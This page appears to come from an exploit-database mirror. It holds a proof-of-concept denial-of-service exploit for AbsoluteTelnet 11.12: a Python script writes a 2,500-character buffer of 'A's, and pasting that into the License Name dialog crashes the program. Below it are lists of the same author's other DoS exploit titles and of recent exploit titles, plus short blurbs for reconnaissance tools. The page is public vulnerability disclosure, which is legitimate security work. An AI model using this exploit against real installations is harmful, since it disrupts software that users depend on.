Search for hundreds of thousands of exploits

"AbsoluteTelnet 11.12 - 'license name' Denial of Service (PoC)"

Author

Exploit author

chuyreds

Platform

Exploit platform

windows

Release date

Exploit published date

2020-02-06

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# Exploit Title: AbsoluteTelnet 11.12 - "license name" Denial of Service (PoC)
# Discovery by: chuyreds
# Discovery Date: 2020-02-05
# Vendor Homepage: https://www.celestialsoftware.net/
# Software Link : https://www.celestialsoftware.net/telnet/AbsoluteTelnet11.12.exe
# Tested Version: 11.12
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 10 Pro x64 es


#Steps to produce the crash:
#1.- Run python code: AbsoluteTelent 11.12_license_name.py
#2.- Open AbsoluteTelent_license_name.txt and copy content to clipboard
#3.- Open AbsoluteTelnet.exe
#4.- Select "Help" > "Enter License Key"
#5.- In "License Name" paste Clipboard
#6.- Crashed

cod = "\x41" * 2500

f = open('AbsoluteTelent_license_name.txt', 'w')
f.write(cod)
f.close()
Release DateTitleTypePlatformAuthor
2020-07-02"WhatsApp Remote Code Execution - Paper"webappsandroid"ashu Jaiswal"
2020-07-02"ZenTao Pro 8.8.2 - Command Injection"webappsphp"Daniel Monzón"
2020-07-02"OCS Inventory NG 2.7 - Remote Code Execution"webappsmultipleAskar
2020-07-01"Online Shopping Portal 3.1 - Authentication Bypass"webappsphp"Ümit Yalçın"
2020-07-01"e-learning Php Script 0.1.0 - 'search' SQL Injection"webappsphpKeopssGroup0day_Inc
2020-07-01"PHP-Fusion 9.03.60 - PHP Object Injection"webappsphpcoiffeur
2020-07-01"RM Downloader 2.50.60 2006.06.23 - 'Load' Local Buffer Overflow (EggHunter) (SEH) (PoC)"localwindows"Paras Bhatia"
2020-06-30"Reside Property Management 3.0 - 'profile' SQL Injection"webappsphp"Behzad Khalifeh"
2020-06-30"Victor CMS 1.0 - 'user_firstname' Persistent Cross-Site Scripting"webappsphp"Anushree Priyadarshini"
2020-06-26"Windscribe 1.83 - 'WindscribeService' Unquoted Service Path"localwindows"Ethan Seow"
Release DateTitleTypePlatformAuthor
2020-04-10"AbsoluteTelnet 11.12 - 'SSH1/username' Denial of Service (PoC)"doswindowschuyreds
2020-04-07"ZOC Terminal 7.25.5 - 'Script' Denial of Service (PoC)"doswindowschuyreds
2020-04-06"ZOC Terminal v7.25.5 - 'Private key file' Denial of Service (PoC)"doswindowschuyreds
2020-04-06"UltraVNC Viewer 1.2.4.0 - 'VNCServer' Denial of Service (PoC)"doswindowschuyreds
2020-04-06"UltraVNC Launcher 1.2.4.0 - 'Password' Denial of Service (PoC)"doswindowschuyreds
2020-04-06"UltraVNC Launcher 1.2.4.0 - 'RepeaterHost' Denial of Service (PoC)"doswindowschuyreds
2020-04-06"Memu Play 7.1.3 - Insecure Folder Permissions"localwindowschuyreds
2020-02-06"TapinRadio 2.12.3 - 'address' Denial of Service (PoC)"doswindowschuyreds
2020-02-06"AbsoluteTelnet 11.12 - 'license name' Denial of Service (PoC)"doswindowschuyreds
2020-02-06"AbsoluteTelnet 11.12 - 'SSH2/username' Denial of Service (PoC)"doswindowschuyreds
2020-02-06"AbsoluteTelnet 11.12 - _license name_ Denial of Service (PoC)"doswindowschuyreds
2020-02-06"TapinRadio 2.12.3 - 'username' Denial of Service (PoC)"doswindowschuyreds
2020-02-06"RarmaRadio 2.72.4 - 'username' Denial of Service (PoC)"doswindowschuyreds
2020-02-06"RarmaRadio 2.72.4 - 'server' Denial of Service (PoC)"doswindowschuyreds
2019-11-26"InduSoft Web Studio 8.1 SP1 - _Atributos_ Denial of Service (PoC)"doswindowschuyreds
2019-11-25"InTouch Machine Edition 8.1 SP1 - 'Atributos' Denial of Service (PoC)"doswindowschuyreds
2019-11-18"Foscam Video Management System 1.1.4.9 - 'Username' Denial of Service (PoC)"doswindowschuyreds
2019-11-12"Wondershare Application Framework Service 2.4.3.231 - 'WsAppService' Unquote Service Path"localwindowschuyreds
2019-11-12"Wondershare Application Framework Service - _WsAppService_ Unquote Service Path"localwindowschuyreds
2019-11-12"RTK IIS Codec Service 6.4.10041.133 - 'RtkI2SCodec' Unquote Service Path"localwindowschuyreds
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/48006/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.